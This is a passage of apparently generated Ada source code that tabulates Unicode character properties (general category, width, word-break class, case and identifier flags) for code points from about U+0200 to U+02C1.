| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#04# => -- 0204
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#05# => -- 0205
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#06# => -- 0206
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#07# => -- 0207
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#08# => -- 0208
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#09# => -- 0209
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#0A# => -- 020A
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#0B# => -- 020B
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#0C# => -- 020C
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#0D# => -- 020D
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#0E# => -- 020E
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#0F# => -- 020F
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#10# => -- 0210
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#11# => -- 0211
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#12# => -- 0212
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#13# => -- 0213
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#14# => -- 0214
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#15# => -- 0215
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#16# => -- 0216
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#17# => -- 0217
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#18# => -- 0218
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#19# => -- 0219
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#1A# => -- 021A
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#1B# => -- 021B
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#1C# => -- 021C
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#1D# => -- 021D
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#1E# => -- 021E
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#1F# => -- 021F
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#20# => -- 0220
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#22# => -- 0222
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#23# => -- 0223
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#24# => -- 0224
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#25# => -- 0225
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#26# => -- 0226
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#27# => -- 0227
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#28# => -- 0228
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#29# => -- 0229
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#2A# => -- 022A
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#2B# => -- 022B
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#2C# => -- 022C
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#2D# => -- 022D
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#2E# => -- 022E
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#2F# => -- 022F
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#30# => -- 0230
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#31# => -- 0231
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#32# => -- 0232
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#33# => -- 0233
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#3A# .. 16#3B# => -- 023A .. 023B
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#3C# => -- 023C
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#3D# .. 16#3E# => -- 023D .. 023E
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#3F# .. 16#40# => -- 023F .. 0240
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#41# => -- 0241
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#42# => -- 0242
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#43# .. 16#46# => -- 0243 .. 0246
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#47# => -- 0247
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#48# => -- 0248
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#49# => -- 0249
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Soft_Dotted
| Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#4A# => -- 024A
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#4B# => -- 024B
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#4C# => -- 024C
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#4D# => -- 024D
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#4E# => -- 024E
(Uppercase_Letter, Neutral,
Other, A_Letter, Upper, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Lowercased
| Changes_When_Casefolded
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Uppercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#4F# .. 16#50# => -- 024F .. 0250
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#51# => -- 0251
(Lowercase_Letter, Ambiguous,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#52# .. 16#54# => -- 0252 .. 0254
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#56# .. 16#57# => -- 0256 .. 0257
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#59# => -- 0259
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#5B# .. 16#5C# => -- 025B .. 025C
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#60# => -- 0260
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#61# => -- 0261
(Lowercase_Letter, Ambiguous,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#63# => -- 0263
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#65# .. 16#66# => -- 0265 .. 0266
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#68# => -- 0268
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Soft_Dotted
| Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#69# => -- 0269
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#6B# .. 16#6C# => -- 026B .. 026C
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#6F# => -- 026F
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#71# .. 16#72# => -- 0271 .. 0272
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#75# => -- 0275
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#7D# => -- 027D
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#80# => -- 0280
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#83# => -- 0283
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#87# .. 16#8C# => -- 0287 .. 028C
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#92# => -- 0292
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#94# => -- 0294
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#9D# => -- 029D
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Soft_Dotted
| Alphabetic
| Cased
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#9E# => -- 029E
(Lowercase_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Alphabetic
| Cased
| Changes_When_Uppercased
| Changes_When_Titlecased
| Changes_When_Casemapped
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start => True,
others => False)),
16#B0# .. 16#B1# => -- 02B0 .. 02B1
(Modifier_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Diacritic
| Other_Lowercase
| Alphabetic
| Cased
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#B2# => -- 02B2
(Modifier_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Diacritic
| Other_Lowercase
| Soft_Dotted
| Alphabetic
| Cased
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#B3# .. 16#B8# => -- 02B3 .. 02B8
(Modifier_Letter, Neutral,
Other, A_Letter, Lower, Alphabetic,
(Diacritic
| Other_Lowercase
| Alphabetic
| Cased
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| Lowercase
| XID_Continue
| XID_Start
| Changes_When_NFKC_Casefolded => True,
others => False)),
16#B9# .. 16#BF# => -- 02B9 .. 02BF
(Modifier_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Diacritic
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#C0# .. 16#C1# => -- 02C0 .. 02C1
(Modifier_Letter, Neutral,
